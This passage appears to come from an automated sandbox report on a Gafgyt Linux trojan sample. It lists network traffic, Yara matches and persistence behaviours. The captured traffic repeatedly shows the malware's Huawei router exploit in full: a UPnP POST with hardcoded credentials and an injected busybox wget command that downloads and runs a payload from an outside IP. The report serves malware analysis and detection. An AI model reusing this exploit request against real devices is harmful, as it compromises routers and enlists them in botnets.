wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 113.66.95.51
Source: unknown TCP traffic detected without corresponding DNS query: 41.109.134.160
Source: unknown TCP traffic detected without corresponding DNS query: 122.238.154.25
Source: unknown TCP traffic detected without corresponding DNS query: 61.122.23.148
Source: unknown TCP traffic detected without corresponding DNS query: 113.167.180.50
Source: unknown TCP traffic detected without corresponding DNS query: 197.154.145.3
Source: unknown TCP traffic detected without corresponding DNS query: 197.50.135.0
Source: unknown TCP traffic detected without corresponding DNS query: 137.60.152.96
Source: unknown TCP traffic detected without corresponding DNS query: 197.4.125.26
Source: unknown TCP traffic detected without corresponding DNS query: 161.127.238.63
Source: unknown TCP traffic detected without corresponding DNS query: 157.202.140.177
Source: unknown TCP traffic detected without corresponding DNS query: 41.249.139.35
Source: unknown TCP traffic detected without corresponding DNS query: 197.191.6.8
Source: unknown TCP traffic detected without corresponding DNS query: 41.56.211.70
Source: unknown TCP traffic detected without corresponding DNS query: 157.185.236.211
Source: unknown TCP traffic detected without corresponding DNS query: 41.132.98.11
Source: unknown TCP traffic detected without corresponding DNS query: 197.68.19.229
Source: unknown TCP traffic detected without corresponding DNS query: 197.107.162.20
Source: unknown TCP traffic detected without corresponding DNS query: 197.174.60.2
Source: unknown TCP traffic detected without corresponding DNS query: 197.244.224.7
Source: unknown TCP traffic detected without corresponding DNS query: 41.169.228.69
Source: unknown TCP traffic detected without corresponding DNS query: 157.76.14.187
Source: unknown TCP traffic detected without corresponding DNS query: 41.30.143.132
Source: unknown TCP traffic detected without corresponding DNS query: 41.148.20.226
Source: unknown TCP traffic detected without corresponding DNS query: 197.223.141.146
Source: unknown TCP traffic detected without corresponding DNS query: 197.67.169.11
Source: unknown TCP traffic detected without corresponding DNS query: 197.198.131.180
Source: unknown TCP traffic detected without corresponding DNS query: 197.52.236.172
Source: unknown TCP traffic detected without corresponding DNS query: 157.47.2.0
Source: unknown TCP traffic detected without corresponding DNS query: 197.40.126.72
Source: unknown TCP traffic detected without corresponding DNS query: 157.34.71.4
Source: unknown TCP traffic detected without corresponding DNS query: 65.17.4.212
Source: unknown TCP traffic detected without corresponding DNS query: 157.184.22.246
Source: unknown TCP traffic detected without corresponding DNS query: 41.139.140.184
Source: unknown TCP traffic detected without corresponding DNS query: 121.61.208.71
Source: unknown TCP traffic detected without corresponding DNS query: 157.167.73.218
Source: unknown TCP traffic detected without corresponding DNS query: 157.186.90.102
Source: unknown TCP traffic detected without corresponding DNS query: 197.28.204.27
Source: unknown TCP traffic detected without corresponding DNS query: 157.160.77.243
Source: unknown TCP traffic detected without corresponding DNS query: 197.105.52.70
Source: unknown TCP traffic detected without corresponding DNS query: 41.195.120.236
Source: unknown TCP traffic detected without corresponding DNS query: 213.112.8.47
Source: unknown TCP traffic detected without corresponding DNS query: 157.153.101.69
Source: unknown TCP traffic detected without corresponding DNS query: 41.7.246.144
Source: unknown TCP traffic detected without corresponding DNS query: 197.215.196.144
Source: unknown TCP traffic detected without corresponding DNS query: 41.169.82.231
Source: unknown TCP traffic detected without corresponding DNS query: 41.93.244.82
Source: unknown TCP traffic detected without corresponding DNS query: 157.158.216.93
Source: 8lsvVMbYw7.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 8lsvVMbYw7.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: j.xnyidc.top

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8lsvVMbYw7.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8lsvVMbYw7.elf PID: 6211, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: 8lsvVMbYw7.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8lsvVMbYw7.elf PID: 6211, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f
Source: classification engine Classification label: mal92.troj.linELF@0/0@2/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6218) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6216) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6218) Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1582/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/3088/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/230/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/231/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/232/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1579/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/233/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1699/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/113/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/234/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1335/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1698/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/114/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/235/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1334/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1576/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/2302/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/115/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/236/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/116/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/237/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/117/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/118/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/910/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/119/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/912/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/10/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/2307/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/11/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/918/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/12/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/13/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/14/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/6121/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/15/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/16/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/17/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/18/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1594/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/120/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/121/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1349/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/122/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/243/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/123/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/124/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/125/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/126/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1344/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1465/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1586/cmdline Jump to behavior
